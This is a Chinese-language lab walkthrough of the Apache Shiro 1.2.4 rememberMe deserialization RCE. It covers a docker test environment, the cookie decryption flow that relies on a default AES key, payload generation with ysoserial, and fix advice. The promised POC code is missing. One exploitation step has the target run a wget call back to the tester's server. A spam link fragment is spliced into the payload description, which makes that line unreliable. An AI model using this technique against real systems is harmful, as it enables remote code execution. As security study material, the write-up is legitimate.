Shiro RememberMe 1.2.4 反序列化命令執行漏洞


Apache Shiro 在 Java 的權限及安全驗證框架中占用重要的一席之地,在它編號為550的 issue 中爆出嚴重的 Java 反序列化漏洞。下面,我們將模擬還原此漏洞的場景以及分析過程。

復現過程

一、 搭建漏洞環境

有大佬已經搭建了docker環境可以直接使用。在安裝docker后執行命令拉取環境運行就有了漏洞環境了。(docker真是個好東西啊)

1.拉取環境到本地

docker pull medicean/vulapps:s_shiro_1

2.啟動環境

docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

因為我已經拉下來過了dockers環境了所以直接啟動docker,在docker中將shiro環境的8080端口映射到了主機的80端口,所以直接訪問127.0.0.1就可以了。

二、 漏洞分析

從官方的 issue 上來看,漏洞的利用點是在cookie里的rememberMe參數,這個參數的值是AES加密再base64之后設置在cookie中的。在服務端對rememberMe的cookie值的操作應該是先base64解碼然后AES解密再反序列化,就導致了反序列化RCE漏洞。

服務端接收rememberMe的cookie值:

rememberMe的cookie值=>base64解碼=>AES解密=>反序列化

我們要利用那么POC就需要先反序列化然后再AES加密最后base64編碼

Payload產生的過程:

命令=>序列化=>AES加密=>base64編碼=>payloadfunction(){   //外匯跟單www.gendan5.com

在shrio中AES加密有一個iv向量但是沒有用到所以隨機生成一個就了,重要的是密鑰密鑰,如果沒有修改默認的密鑰那么就很容易就知道密鑰了,之后就是編寫POC了。

三、 編寫POC

POC肯定是py寫快一點鴨,需要用到java的反序列化工具ysoserial(在文末附上這個jar包的下載鏈接),py的Crypto模塊,這個模塊安裝可能會出問題但是kali里py環境集成了這個模塊。這里是一個簡易版的POC只是生成一個payload然后使用,沒有實現自動化。

POC代碼如下:

四、 漏洞利用

先登陸,勾選remberme

然后抓包隨便點一個頁面包含有cookie參數的,這里抓的是登陸后的第一個包

在vps或同網段虛擬機中執行“python –m SimpleHTTPServer 8080”, 然后再使用poc生成payload,這里執行的是“wget http://127.0.0.1:7080/”,讓其去訪問我的服務器執行命令

修復建議

1、升級shiro版本

2、修改文件中硬編碼的密鑰


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM